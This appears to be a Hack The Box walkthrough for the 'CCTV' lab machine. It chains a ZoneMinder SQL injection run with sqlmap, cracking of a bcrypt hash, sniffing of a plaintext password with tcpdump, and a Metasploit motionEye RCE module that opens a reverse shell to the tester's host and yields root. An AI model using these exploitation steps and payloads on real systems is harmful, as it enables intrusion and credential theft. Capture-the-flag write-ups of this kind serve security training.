Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/CCTV]
└─$ nmap -sC -sV -Pn 10.129.187.185 -oN ./nmap.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-11 13:44 +0000
Nmap scan report for 10.129.187.185
Host is up (0.63s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.99 seconds
Let's add cctv.htbto our /etc/hosts
HTTP - TCP 80
We can find a login link from the Staff Login

I would use the default credit admin:adminto login it.

# ZoneMinderseems like a cms service, and we can also find something vulnerable
There is a newest CVE is CVE-2024-51482
https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-qm8h-3xvf-m7j3
Boolean-based SQL Injection in ZoneMinder v1.37.* <= 1.37.64
PoC
Although it is not possible to execute the command directly through directory, after reading the documents, here is the url:
http://hostname_or_ip/zm/index.php?view=request&request=event&action=removetag&tid=1
and the function tid is vulnerable to SQL Injection.
I used sqlmap to automate the exploitation process through this command:
sqlmap -u 'http://hostname_or_ip/zm/index.php?view=request&request=event&action=removetag&tid=1'
Here is the PoC video:
https://github.com/user-attachments/assets/3cc50e51-68cf-4540-8225-4288f73e0c08
We can use this poc to verify the vulnerability, it worked here

Now let's try to use sqlmapto automatic it by using the request file from burp
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/CCTV]
└─$ cat req.txt
GET /zm/index.php?view=request&request=event&action=removetag&tid=1 HTTP/1.1
Host: cctv.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: close
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=2amhbg2tcikhb5gm92kltis4ri
Upgrade-Insecure-Requests: 1
Priority: u=0, i
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/CCTV]
└─$ sqlmap -r req.txt --batch -p "tid" --dbs
[14:11:47] [INFO] checking if the injection point on GET parameter 'tid' is a false positive
GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 110 HTTP(s) requests:
---
Parameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 6094 FROM (SELECT(SLEEP(5)))zZuN)
---
[14:12:11] [INFO] the back-end DBMS is MySQL
[14:12:11] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
Because of time-based would cost so long time, so I would use that to get the only data we need
sqlmap -r req.txt -p "tid" --batch --technique=T --predict-output -D zm -T Users -C Username,Password --dump
superadmin:$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
mark:$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
Then we can get the password hash of superadminand mark, we can use hashcatcrack the password of mark
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/CCTV]
└─$ hashcat mark.hash -m 3200 /usr/share/wordlists/rockyou.txt
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZ...XKfFG.
Now we can use this credit to ssh connect to the machine
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/CCTV]
└─$ ssh mark@cctv.htb
mark@cctv:~$ whoami
mark
mark@cctv:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
mark@cctv:~$ sudo -l
[sudo] password for mark:
Sorry, user mark may not run sudo on cctv.
There is another user account sa_mark
mark@cctv:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Mar 2 09:49 .
drwxr-xr-x 23 root root 4096 Mar 2 09:49 ..
drwxr-x--- 5 mark mark 4096 Mar 2 09:49 mark
drwxr-x--- 4 sa_mark sa_mark 4096 Mar 2 09:49 sa_mark
Switch to sa_mark
Continue to enumerate the file system of mark
mark@cctv:~$ ls -al
total 36
drwxr-x--- 5 mark mark 4096 Mar 2 09:49 .
drwxr-xr-x 4 root root 4096 Mar 2 09:49 ..
lrwxrwxrwx 1 root root 9 Feb 13 10:01 .bash_history -> /dev/null
-rw-r--r-- 1 mark mark 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 mark mark 3771 Mar 31 2024 .bashrc
drwx------ 2 mark mark 4096 Mar 2 09:49 .cache
drwx------ 3 mark mark 4096 Mar 2 09:49 .gnupg
-rw-r--r-- 1 mark mark 807 Mar 31 2024 .profile
drwx------ 2 mark mark 4096 Mar 2 09:49 .ssh
-rw-rw-r-- 1 mark mark 165 Sep 14 22:15 .wget-hsts
mark@cctv:~$ cat .wget-hsts
# HSTS 1.0 Known Hosts database for GNU Wget.
# Edit at your own risk.
# <hostname> <port> <incl. subdomains> <created> <max-age>
github.com 0 1 1757888154 31536000
I would upload the LinPEASto enumerate the valid hints
╔══════════╣ Can I sniff with tcpdump?
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing
You can sniff with tcpdump!
Normally, tcpdump requires sudo privileges to sniff, but here we see that we don't need sudo privileges, which means this will be our next target. Inspecting the network interfaces also reveals many unusual ones.
mark@cctv:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:95:23:56 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.129.187.185/16 brd 10.129.255.255 scope global dynamic eth0
valid_lft 581sec preferred_lft 581sec
inet6 dead:beef::250:56ff:fe95:2356/64 scope global dynamic mngtmpaddr
valid_lft 86395sec preferred_lft 14395sec
inet6 fe80::250:56ff:fe95:2356/64 scope link
valid_lft forever preferred_lft forever
3: br-1b6b4b93c636: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether be:35:90:d2:d4:c8 brd ff:ff:ff:ff:ff:ff
inet 172.25.0.1/16 brd 172.25.255.255 scope global br-1b6b4b93c636
valid_lft forever preferred_lft forever
inet6 fe80::bc35:90ff:fed2:d4c8/64 scope link
valid_lft forever preferred_lft forever
4: br-3e74116c4022: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 46:99:b0:45:27:f2 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-3e74116c4022
valid_lft forever preferred_lft forever
inet6 fe80::4499:b0ff:fe45:27f2/64 scope link
valid_lft forever preferred_lft forever
5: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 0a:d3:15:01:51:35 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
6: veth2651313@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-3e74116c4022 state UP group default
link/ether 92:68:5f:6f:87:b9 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::9068:5fff:fe6f:87b9/64 scope link
valid_lft forever preferred_lft forever
7: veth3d3f77c@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-1b6b4b93c636 state UP group default
link/ether 72:d8:15:5a:89:f3 brd ff:ff:ff:ff:ff:ff link-netnsid 1
inet6 fe80::70d8:15ff:fe5a:89f3/64 scope link
valid_lft forever preferred_lft forever
8: veth6c99df3@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-3e74116c4022 state UP group default
link/ether b6:46:7e:37:be:cf brd ff:ff:ff:ff:ff:ff link-netnsid 2
inet6 fe80::b446:7eff:fe37:becf/64 scope link
valid_lft forever preferred_lft forever
9: veth1117dd4@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-1b6b4b93c636 state UP group default
link/ether b6:db:b3:ea:b1:a1 brd ff:ff:ff:ff:ff:ff link-netnsid 3
inet6 fe80::b4db:b3ff:feea:b1a1/64 scope link
valid_lft forever preferred_lft forever
The docker bridge would be interesting here, this indicates that the closed-circuit television monitoring system uses containerized services for internal communication.
veth *
br *
Now let's try to capture all the traffic here
tcpdump -i any -nn
We can find port 5000 on 172.25.0.10 is experiencing frequent access, seemingly hosting a Python Flask service:
mark@cctv:~$ tcpdump -i any -nn -A tcp port 5000
tcpdump: data link type LINUX_SLL2
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
03:58:25.602406 veth3d3f77c P IP 172.25.0.11.40686 > 172.25.0.10.5000: Flags [S], seq 1526105343, win 64240, options [mss 1460,sackOK,TS val 2502491754 ecr 0,nop,wscale 7], length 0
E..<..@.@..........
....Z...........Xv.........
.(.j........
03:58:25.602411 veth1117dd4 Out IP 172.25.0.11.40686 > 172.25.0.10.5000: Flags [S], seq 1526105343, win 64240, options [mss 1460,sackOK,TS val 2502491754 ecr 0,nop,wscale 7], length 0
E..<..@.@..........
....Z...........Xv.........
.(.j........
03:58:25.602439 veth1117dd4 P IP 172.25.0.10.5000 > 172.25.0.11.40686: Flags [S.], seq 1585505552, ack 1526105344, win 65160, options [mss 1460,sackOK,TS val 2075130325 ecr 2502491754,nop,wscale 7], length 0
E..<..@.@..t...
........^...Z.......Xv.........
{....(.j....
03:58:25.602440 veth3d3f77c Out IP 172.25.0.10.5000 > 172.25.0.11.40686: Flags [S.], seq 1585505552, ack 1526105344, win 65160, options [mss 1460,sackOK,TS val 2075130325 ecr 2502491754,nop,wscale 7], length 0
E..<..@.@..t...
........^...Z.......Xv.........
{....(.j....
03:58:25.602489 veth3d3f77c P IP 172.25.0.11.40686 > 172.25.0.10.5000: Flags [.], ack 1, win 502, options [nop,nop,TS val 2502491755 ecr 2075130325], length 0
E..4..@.@..........
....Z...^.......Xn.....
.(.k{...
03:58:25.602490 veth1117dd4 Out IP 172.25.0.11.40686 > 172.25.0.10.5000: Flags [.], ack 1, win 502, options [nop,nop,TS val 2502491755 ecr 2075130325], length 0
E..4..@.@..........
....Z...^.......Xn.....
.(.k{...
03:58:25.602857 veth3d3f77c P IP 172.25.0.11.40686 > 172.25.0.10.5000: Flags [P.], seq 1:52, ack 1, win 502, options [nop,nop,TS val 2502491755 ecr 2075130325], length 51
E..g..@.@..........
....Z...^.......X......
.(.k{...USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb;CMD=status
03:58:25.602859 veth1117dd4 Out IP 172.25.0.11.40686 > 172.25.0.10.5000: Flags [P.], seq 1:52, ack 1, win 502, options [nop,nop,TS val 2502491755 ecr 2075130325], length 51
E..g..@.@..........
....Z...^.......X......
.(.k{...USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb;CMD=status
03:58:25.602869 veth1117dd4 P IP 172.25.0.10.5000 > 172.25.0.11.40686: Flags [.], ack 52, win 509, options [nop,nop,TS val 2075130326 ecr 2502491755], length 0
E..4p.@.@.q....
........^...Z..3....Xn.....
{....(.k
Now we can get the credit of sa_mark:X1l9fx1ZjS7RZband we can switch to its account
mark@cctv:~$ su sa_mark
Password:
$ id
uid=1001(sa_mark) gid=1001(sa_mark) groups=1001(sa_mark)
$ whoami
sa_mark
Privilege Escalation
From the home directory of sa_mark, we can find another pdf file here
$ ls -al
total 52
drwxr-x--- 4 sa_mark sa_mark 4096 Mar 2 09:49 .
drwxr-xr-x 4 root root 4096 Mar 2 09:49 ..
lrwxrwxrwx 1 root root 9 Feb 16 10:47 .bash_history -> /dev/null
drwx------ 2 sa_mark sa_mark 4096 Mar 2 09:49 .cache
drwxrwxr-x 3 sa_mark sa_mark 4096 Mar 2 09:49 .local
-rw-r--r-- 1 root root 29359 Nov 7 23:11 'SecureVision Staff Announcement.pdf'
-rw-r----- 1 root sa_mark 33 Mar 11 02:39 user.txt
Let's download it and check it
We have known the credit would be not changed, and we can continue to check the new service from local port 127.0.0.1:8765
$ netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8554 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9081 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8765 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:7999 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1935 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Now we can use the credit admin:X1l9fx1ZjS7RZbto login the dashboard
We can also find the version is 0.43.1b4and we can find some vulnerable thing from exploitdb
https://www.exploit-db.com/exploits/52481

Even we can use the module of metasploit
msf > search motionEye
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/motioneye_auth_rce_cve_2025_60787 2025-09-09 excellent Yes Remote Code Execution Vulnerability in MotionEye Frontend (CVE-2025-60787)
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
Then setup the config and get the shell
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set RPORT 8765
RPORT => 8765
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set PASSWORD X1l9fx1ZjS7RZb
PASSWORD => X1l9fx1ZjS7RZb
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set LHOST 10.10.14.6
LHOST => 10.10.14.6
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > exploit
[*] Started reverse TCP handler on 10.10.14.6:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected version 0.43.1b4, which is vulnerable
[*] Adding malicious camera...
[+] Camera successfully added
[*] Setting up exploit...
[+] Exploit setup complete
[*] Triggering exploit...
[+] Exploit triggered, waiting for session...
[*] Sending stage (3090404 bytes) to 10.129.187.185
[*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.129.187.185:54682) at 2026-03-11 15:01:54 +0000
[*] Removing camera
[+] Camera removed successfully
meterpreter > shell
Process 27498 created.
Channel 1 created.
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
Description
Overall, it's a very simple machine. All vulnerabilities can be identified by checking the version number, and even privilege escalation can be automated using Metaspoilt.